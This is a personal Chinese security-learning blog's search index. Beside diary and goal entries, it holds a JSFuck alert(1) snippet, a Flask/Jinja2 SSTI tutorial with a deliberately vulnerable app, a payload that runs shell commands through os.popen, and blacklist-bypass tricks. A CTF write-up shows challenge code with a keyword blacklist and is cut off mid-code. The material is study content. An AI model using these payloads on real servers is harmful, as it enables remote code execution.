local-search.xml

<?xml version="1.0" encoding="utf-8"?>
<search>
  
  
  
  <entry>
    <title>diary</title>
    <link href="/2026/01/05/diary-2026-1-4/"/>
    <url>/2026/01/05/diary-2026-1-4/</url>
    
    <content type="html"><![CDATA[<h1 id="2026-1-4-13-04-05"><a href="#2026-1-4-13-04-05" class="headerlink" title="2026_1_4 13:04:05"></a>2026_1_4 13:04:05</h1><ul><li><p>今天分享一个网站<br><a href="https://idcflare.com/">idcflare</a><br><img src="https://gitee.com/fogpost/photo/raw/master/202601041333515.png" srcset="/img/loading.gif" lazyload alt="图片介绍"><br>一个挺好的资源分享网站，目标是回到最开始的互联网净土，我受够-csdn了。</p></li><li><p>今天继续c coding，大概完成一个篇章十个题吧，<br>下午去检查眼睛和买新鞋子了。眼睛结果出来了，结膜炎，敷点药和早点休息，不能再熬夜了，每天要多休息才行</p></li><li><p>继续读书分享win32api，基本只读完了序言，了解了以下基本的学习路线，打算这个月先吧这本书读完，这两天又发现了许多资料，其实自己完全不用去找新的在自己的学习网站中把老的先学完好一点</p></li><li><p>感觉还是得字数多一点，要反复修改以下自己的文章，每一篇的字数感觉至少要到400-500的样子才好</p></li></ul><h1 id="2026-1-5-19-48-56"><a href="#2026-1-5-19-48-56" class="headerlink" title="2026_1_5 19:48:56"></a>2026_1_5 19:48:56</h1><ul><li><p>想想凑字数的话还是先把这篇写长一点后面有想法了再分开来，之后还要好好的把之前的文章整理以下，许多废文和不完整的可以整理，多用用草稿，今天下午才开始吧代码写起来，现在还困困的，每天写不了多少，今天6个题都不知道写不写的完，书还没开始看</p></li><li><p>切实感受到在学校里面还是好学一点，在家里面下午来个人就吵得要死，根本干不了事情，本来想睡觉得搞得现在还昏昏得打算小睡一下再开始写代码</p></li><li><p>又想到一个点可以把自己得代码贴上来，前提是有点意思得才行，不然还是有点水了，对了昨天晚上还在想自己得视频计划呢，打算每周六周日得时候发一篇文章才行，15~20min得视频5000字得稿子就行，还得抽时间写稿子，好多事情，今天早上还没干什么。</p></li><li><p>信息流这件事还忘记说了，我要在搞毕设还有那个网络设计我都忘记了。之后给网站还要加上外部连接以及RSS效果，之前没加是忘记了还是怎么，对了，之后想用Django吧网站重构一下，可能得几个月后了，总之先这样</p></li></ul><h1 id="2026-1-6-20-53-34"><a href="#2026-1-6-20-53-34" class="headerlink" title="2026_1_6 20:53:34"></a>2026_1_6 20:53:34</h1><ul><li>刚刚看了以下obstain的全自动化本地网络自动上传确实好，还有本博客的update也有点问题，预计未来几天不会更新会专注与更新相关的内容，期待下周与各位的见面</li></ul>]]></content>
    
    
    
    <tags>
      
      <tag>diary</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>新的开始</title>
    <link href="/2025/12/25/%E6%96%B0%E7%9A%84%E5%BC%80%E5%A7%8B/"/>
    <url>/2025/12/25/%E6%96%B0%E7%9A%84%E5%BC%80%E5%A7%8B/</url>
    
    <content type="html"><![CDATA[<h2 id="过去的总结"><a href="#过去的总结" class="headerlink" title="过去的总结"></a>过去的总结</h2><p>目前也算是把考研结束了接下来还有许多事情要看先定个基调，blog还是要转换到这个hexo上面来才行，之前Notion上面虽然好用但感觉还是有部分不足，果然还是原生本位的好用，用马哲的话来讲就是否定之否定了。</p><h2 id="之后的目标"><a href="#之后的目标" class="headerlink" title="之后的目标"></a>之后的目标</h2><p>从轻重缓急来设定几个目标把</p><h3 id="急迫"><a href="#急迫" class="headerlink" title="急迫"></a>急迫</h3><ol><li>眼前1月15日的c语言程序设计</li><li>还有一个毕设</li></ol><h3 id="中等"><a href="#中等" class="headerlink" title="中等"></a>中等</h3><ol><li>看完c++反汇编与逆向分析这本书</li><li>多逆逆自己写的c</li><li>pwpw和wewe</li></ol><h3 id="较弱"><a href="#较弱" class="headerlink" title="较弱"></a>较弱</h3><ol><li>玩完witch3</li></ol><h3 id="额外目标"><a href="#额外目标" class="headerlink" title="额外目标"></a>额外目标</h3><ol><li>打算利用django去把自己的blog重构一个</li><li>打算写一个ctf聚合网站</li></ol><h3 id="变成习惯"><a href="#变成习惯" class="headerlink" title="变成习惯"></a>变成习惯</h3><ul><li>学习英语</li></ul><p>就这样吧，之后陆续更新把notion和这几个月来的东西传到网站上。</p>]]></content>
    
    
    
    <tags>
      
      <tag>diary</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>2025</title>
    <link href="/2025/02/24/2025/"/>
    <url>/2025/02/24/2025/</url>
    
    <content type="html"><![CDATA[<p>一晃眼就已经是2025年了，去年的烦恼还没有散去，今年的烦恼就已经找上门来了，这一篇算是鼓励也算是警醒吧，说是有多忙，其实倒也没多少事，完成以下几件事是目前的需要</p><ul><li><p>完成程序设计课程</p></li><li><p>继续学习web的相关知识为之后的hvv做好准备</p></li><li><p>准备好考研的相关事宜<br>这个学期没有什么课程，技术方向的事情便可以有时间提升，剩下的想到再补吧<br>ps： 锻炼也要跟上，老是想玩游戏，总是忍不住去玩而不是精进自己也算是要完成的事吧</p></li><li><p>个人能力<br><img src="https://gitee.com/fogpost/photo/raw/master/202502241730506.png" srcset="/img/loading.gif" lazyload></p></li></ul>]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>web的js小知识</title>
    <link href="/2025/01/11/web%E7%9A%84js%E5%B0%8F%E7%9F%A5%E8%AF%86/"/>
    <url>/2025/01/11/web%E7%9A%84js%E5%B0%8F%E7%9F%A5%E8%AF%86/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>javacript教程，在许多网页小游戏中，就用到了js，类似的还有js<br>JavaScript 是 web 开发人员必须学习的 3 门语言中的一门：<br>    HTML 定义了网页的内容<br>    CSS 描述了网页的布局<br>    JavaScript 控制了网页的行为</p><h2 id="JSFUCK"><a href="#JSFUCK" class="headerlink" title="JSFUCK"></a>JSFUCK</h2><figure class="highlight scheme"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs scheme">[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]][([][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+([][[]]+[])[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]+([][[]]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]]((<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">!+</span>[]+!+[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">!+</span>[]+!+[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]])()<br></code></pre></td></tr></table></figure><p>这一段是alert(1),再开发者工具的console(控制台)中运行即可。</p>]]></content>
    
    
    <categories>
      
      <category>WEB</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>flask模板注入</title>
    <link href="/2025/01/10/flask%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/"/>
    <url>/2025/01/10/flask%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/</url>
    
    <content type="html"><![CDATA[<h1 id="flask模板注入"><a href="#flask模板注入" class="headerlink" title="flask模板注入"></a>flask模板注入</h1><p>作为 Web 中的难点还是有必要涉猎一番<br>参考文章: <a href="https://xz.aliyun.com/t/3679?time__1311=n4+xnii=oGqmqDK0QDODlx6e0=bG=KtezkWGb84D">flask之ssti模版注入从零到入门</a></p><h2 id="模板代码"><a href="#模板代码" class="headerlink" title="模板代码"></a>模板代码</h2><p>代码基于 Python，使用 Flask 框架，模板使用 Jinja2，需要额外下载 Flask 和 Jinja2，用 PyCharm 可能会简单一点。<br>解释：<code>index</code> 是没有漏洞点的，漏洞点在 <code>test</code> 中。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask<br><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> render_template<br><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> request<br><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> render_template_string<br><br>app = Flask(__name__)<br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span></span>)</span><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/index&#x27;</span></span>)  </span><span class="hljs-comment"># 我们访问 / 或 /index 都会跳转</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():<br>    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&quot;index.html&quot;</span>, title=<span class="hljs-string">&#x27;Home&#x27;</span>, user=request.args.get(<span class="hljs-string">&quot;key&quot;</span>))<br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/test&#x27;</span>, methods=[<span class="hljs-string">&#x27;GET&#x27;</span>, <span class="hljs-string">&#x27;POST&#x27;</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">test</span>():<br>    template = <span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">        &lt;div class=&quot;center-content error&quot;&gt;</span><br><span class="hljs-string">            &lt;h1&gt;Oops! That page doesn&#x27;t exist.&lt;/h1&gt;</span><br><span class="hljs-string">            &lt;h3&gt;%s&lt;/h3&gt;</span><br><span class="hljs-string">        &lt;/div&gt; </span><br><span class="hljs-string">    &#x27;&#x27;&#x27;</span> % request.url<br><br>    <span class="hljs-keyword">return</span> render_template_string(template)<br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:<br>    app.debug = <span class="hljs-literal">True</span><br>    app.run()<br></code></pre></td></tr></table></figure><h3 id="示例-index-html"><a href="#示例-index-html" class="headerlink" title="示例 index.html"></a>示例 <code>index.html</code></h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br>  <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>&#123;&#123; title &#125;&#125; - 小猪佩奇<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>  <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br>  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Hello, &#123;&#123; user.name &#125;&#125;!<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure><h3 id="SSTI-利用示例"><a href="#SSTI-利用示例" class="headerlink" title="SSTI 利用示例"></a>SSTI 利用示例</h3><p>利用 Python 的类继承，我们可以反向调用其他的函数。<br>一般是 <code>&lt;class &#39;os._wrap_close&#39;&gt;</code>，每个版本不同，Python 3.8 中为 <code>133</code>。</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://127.0.0.1:5000/test?key=&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[&#x27;popen&#x27;](&#x27;dir&#x27;).read()&#125;&#125;<br></code></pre></td></tr></table></figure><p><img src="https://gitee.com/fogpost/photo/raw/master/202501101750658.png" srcset="/img/loading.gif" lazyload></p><h2 id="CTF-中的一些绕过-Tips"><a href="#CTF-中的一些绕过-Tips" class="headerlink" title="CTF 中的一些绕过 Tips"></a>CTF 中的一些绕过 Tips</h2><ol><li><p><strong>过滤 <code>[]</code> 等括号</strong><br>使用 <code>getitem</code> 绕过。例如原 POC：<code>&#123;&#123;"".class.bases[0]&#125;&#125;</code><br>绕过后：<code>&#123;&#123;"".class.bases.getitem(0)&#125;&#125;</code></p></li><li><p><strong>过滤 <code>subclasses</code>，拼凑法</strong><br>原 POC：<code>&#123;&#123;"".class.bases[0].subclasses()&#125;&#125;</code><br>绕过后：<code>&#123;&#123;"".class.bases[0]['subcla' + 'sses']&#125;&#125;</code></p></li><li><p><strong>过滤 <code>class</code></strong><br>使用 <code>session</code> 绕过：<br>POC：<code>&#123;&#123;session['cla' + 'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[133]&#125;&#125;</code></p><p>多个 <code>bases[0]</code> 是因为一直在向上找 <code>object</code> 类。使用 <code>mro</code> 更方便：  </p><ul><li><code>&#123;&#123;session['__cla' + 'ss__'].__mro__[12]&#125;&#125;</code><br>或  </li><li><code>&#123;&#123;request['__cl' + 'ass__'].__mro__[12]&#125;&#125;</code></li></ul></li></ol><!-- 4. **`timeit` 姿势**   --><p>示例：<a href="https://www.secpulse.com/archives/65568.html">2017 SWPU-CTF 的一道沙盒 Python 题</a></p><h2 id="一张图总结一下-SSTI-的一些模板渲染引擎及利用"><a href="#一张图总结一下-SSTI-的一些模板渲染引擎及利用" class="headerlink" title="一张图总结一下 SSTI 的一些模板渲染引擎及利用"></a>一张图总结一下 SSTI 的一些模板渲染引擎及利用</h2><p><img src="https://gitee.com/fogpost/photo/raw/master/202501101756362.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>WEB</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>ciscnwp复现</title>
    <link href="/2025/01/10/ciscnwp%E5%A4%8D%E7%8E%B0/"/>
    <url>/2025/01/10/ciscnwp%E5%A4%8D%E7%8E%B0/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>鼓起勇气面对ciscn，慢慢的对着wp复现，加油加油加油</p><h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="hello-web"><a href="#hello-web" class="headerlink" title="hello_web"></a>hello_web</h3><p>经典的ssrf，其实都完成得差不多了，在面对蚁剑的bypass时我们卡在了这里，于是没有打通，关于蚁剑的bypass，我额外写了一个bypass的文章，这里就不赘述了,同时本体还有双写绕过以及php特性的利用，[转化为_</p><h3 id="Safe-Proxy"><a href="#Safe-Proxy" class="headerlink" title="Safe_Proxy"></a>Safe_Proxy</h3><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><code class="hljs py"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, request,render_template_string<br><span class="hljs-keyword">import</span> socket<br><span class="hljs-keyword">import</span> threading<br><span class="hljs-keyword">import</span> html<br><br>app = Flask(__name__)<br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span>, methods=[<span class="hljs-string">&quot;GET&quot;</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">source</span>():<br>    <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(__file__, <span class="hljs-string">&#x27;r&#x27;</span>, encoding=<span class="hljs-string">&#x27;utf-8&#x27;</span>) <span class="hljs-keyword">as</span> f:<br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&#x27;&lt;pre&gt;&#x27;</span>+html.escape(f.read())+<span class="hljs-string">&#x27;&lt;/pre&gt;&#x27;</span><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span>, methods=[<span class="hljs-string">&quot;POST&quot;</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">template</span>():<br>    template_code = request.form.get(<span class="hljs-string">&quot;code&quot;</span>)<br>    <span class="hljs-comment"># 安全过滤</span><br>    blacklist = [<span class="hljs-string">&#x27;__&#x27;</span>, <span class="hljs-string">&#x27;import&#x27;</span>, <span class="hljs-string">&#x27;os&#x27;</span>, <span class="hljs-string">&#x27;sys&#x27;</span>, <span class="hljs-string">&#x27;eval&#x27;</span>, <span class="hljs-string">&#x27;subprocess&#x27;</span>, <span class="hljs-string">&#x27;popen&#x27;</span>, <span class="hljs-string">&#x27;system&#x27;</span>, <span class="hljs-string">&#x27;\r&#x27;</span>, <span class="hljs-string">&#x27;\n&#x27;</span>]<br>    <span class="hljs-keyword">for</span> black <span class="hljs-keyword">in</span> blacklist:<br>        <span class="hljs-keyword">if</span> black <span class="hljs-keyword">in</span> template_code:<br>            <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Forbidden content detected!&quot;</span><br>    result = render_template_string(template_code)<br>    <span class="hljs-built_in">print</span>(result)<br>    <span class="hljs-keyword">return</span> <span class="hljs-string">&#x27;ok&#x27;</span> <span class="hljs-keyword">if</span> result <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-literal">None</span> <span class="hljs-keyword">else</span> <span class="hljs-string">&#x27;error&#x27;</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">HTTPProxyHandler</span>:<br>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, target_host, target_port</span>):<br>        <span class="hljs-variable language_">self</span>.target_host = target_host<br>        <span class="hljs-variable language_">self</span>.target_port = target_port<br><br>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">handle_request</span>(<span class="hljs-params">self, client_socket</span>):<br>        <span class="hljs-keyword">try</span>:<br>            request_data = <span class="hljs-string">b&quot;&quot;</span><br>            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>                chunk = client_socket.recv(<span class="hljs-number">4096</span>)<br>                request_data += chunk<br>                <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(chunk) &lt; <span class="hljs-number">4096</span>:<br>                    <span class="hljs-keyword">break</span><br><br>            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> request_data:<br>                client_socket.close()<br>                <span class="hljs-keyword">return</span><br><br>            <span class="hljs-keyword">with</span> socket.socket(socket.AF_INET, socket.SOCK_STREAM) <span class="hljs-keyword">as</span> proxy_socket:<br>                proxy_socket.connect((<span class="hljs-variable language_">self</span>.target_host, <span class="hljs-variable language_">self</span>.target_port))<br>                proxy_socket.sendall(request_data)<br><br>                response_data = <span class="hljs-string">b&quot;&quot;</span><br>                <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>                    chunk = proxy_socket.recv(<span class="hljs-number">4096</span>)<br>                    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> chunk:<br>                        <span class="hljs-keyword">break</span><br>                    response_data += chunk<br><br>            header_end = response_data.rfind(<span class="hljs-string">b&quot;\r\n\r\n&quot;</span>)<br>            <span class="hljs-keyword">if</span> header_end != -<span class="hljs-number">1</span>:<br>                body = response_data[header_end + <span class="hljs-number">4</span>:]<br>            <span class="hljs-keyword">else</span>:<br>                body = response_data<br>                <br>            response_body = body<br>            response = <span class="hljs-string">b&quot;HTTP/1.1 200 OK\r\n&quot;</span> \<br>                       <span class="hljs-string">b&quot;Content-Length: &quot;</span> + <span class="hljs-built_in">str</span>(<span class="hljs-built_in">len</span>(response_body)).encode() + <span class="hljs-string">b&quot;\r\n&quot;</span> \<br>                       <span class="hljs-string">b&quot;Content-Type: text/html; charset=utf-8\r\n&quot;</span> \<br>                       <span class="hljs-string">b&quot;\r\n&quot;</span> + response_body<br><br>            client_socket.sendall(response)<br>        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Proxy Error: <span class="hljs-subst">&#123;e&#125;</span>&quot;</span>)<br>        <span class="hljs-keyword">finally</span>:<br>            client_socket.close()<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">start_proxy_server</span>(<span class="hljs-params">host, port, target_host, target_port</span>):<br>    proxy_handler = HTTPProxyHandler(target_host, target_port)<br>    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    server_socket.bind((host, port))<br>    server_socket.listen(<span class="hljs-number">100</span>)<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Proxy server is running on <span class="hljs-subst">&#123;host&#125;</span>:<span class="hljs-subst">&#123;port&#125;</span> and forwarding to <span class="hljs-subst">&#123;target_host&#125;</span>:<span class="hljs-subst">&#123;target_port&#125;</span>...&quot;</span>)<br><br>    <span class="hljs-keyword">try</span>:<br>        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>            client_socket, addr = server_socket.accept()<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Connection from <span class="hljs-subst">&#123;addr&#125;</span>&quot;</span>)<br>            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))<br>            thread.daemon = <span 